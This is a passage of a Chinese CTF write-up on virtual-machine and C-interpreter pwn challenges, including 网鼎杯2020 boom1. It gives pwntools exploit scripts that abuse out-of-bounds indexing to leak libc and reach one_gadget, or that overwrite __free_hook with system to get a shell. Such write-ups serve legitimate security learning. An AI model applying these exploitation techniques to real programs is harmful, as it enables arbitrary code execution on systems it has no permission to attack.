reg_ax = *v30 - reg_ax; // 减 *sp-ax
}
if ( code_num != 27 )
break;
v31 = sp_;
++sp_;
reg_ax *= *v31; // 乘
}
if ( code_num != 28 )
break;
v32 = sp_;
++sp_;
reg_ax = *v32 / reg_ax; // 除
}
if ( code_num != 29 )
break;
v33 = sp_;
++sp_;
reg_ax = *v33 % reg_ax; // 除余
}
if ( code_num == 30 )
result = *sp_;
else
result = -1LL;
return result;
}

大概思路是:
先pop然后越界读把libc地址放到寄存器里,再push,把地址压栈
通过加减算出libc基址,放到寄存器里
最后通过赋值,把onegadget地址赋值到next esp里面,即可执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf8
from pwn import *
p=process("./pwn")


distance = 0x20840

gdb.attach(p)
payload=p64(14)
payload+=p64(1)+p64(0xe8)+p64(26)+p64(13)
payload+=p64(9)+p64(13)
payload+=p64(1)+p64(distance)+p64(26)+p64(13)
payload+=p64(1)+p64(0x45226)+p64(25)
payload+=p64(11)
p.sendline(payload)

p.interactive()

参考链接

https://blog.csdn.net/breeze_cat/article/details/106078982?utm_medium=distribute.pc_relevant.none-task-blog-baidulandingword-1&spm=1001.2101.3001.4242

编译器类 网鼎杯2020 青龙组 boom1

这题真的蛮狗的。。。代码真的又多又可怕。
然后程序测试的时候发现输入数字和字母都会显示bad global,然后就只能去逆程序了

发现它有个判断,是否为’\n’和’#’两个入口和 else,然后就试着输入#和回车,它的提示就变成了main() not defined
就发现可能是个编译器了,但是我们啥libc信息都没有,本地的话我就拿libc2.23来调了

这个程序还会提示编写的c的正误

就写个c的程序利用变量与libc的距离leak出libc基址,将free_hook改成system,然后free就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf8
from pwn import *
context.log_level = 'debug'

p=process('./pwn')
elf=ELF('./pwn')

payload='''
main(){
int a,libc_addr,system,free_hook;
libc_addr = &a - 657915; #距离/4
system = libc_addr + 0x453a0;
free_hook = libc_addr +0x3c67a8;
*(int *)free_hook = system;
free("/bin/sh");
}
'''
p.recvuntil("I'm living...")
# gdb.attach(p)
p.sendline(payload)
p.interactive()

这里貌似只能操作一个函数,之前没删掉printf的时候就会显示notallow

原项目地址

有点像这个-> https://github.com/lotabout/write-a-C-interpreter/blob/master/xc.c?tdsourcetag=s_pctim_aiomsg

小节

好像这几道题所利用到的漏洞都是下标溢出,利用对指定下标的值进行赋值,加减乘除等操作,达到任意地址写的目的
不过,我对程序的剖析能力还真的是极差的,看指令操作,判断到蛮崩溃的
vm算是先了解了一些些皮毛,之后再多刷刷题,看看记不记得回来填坑吧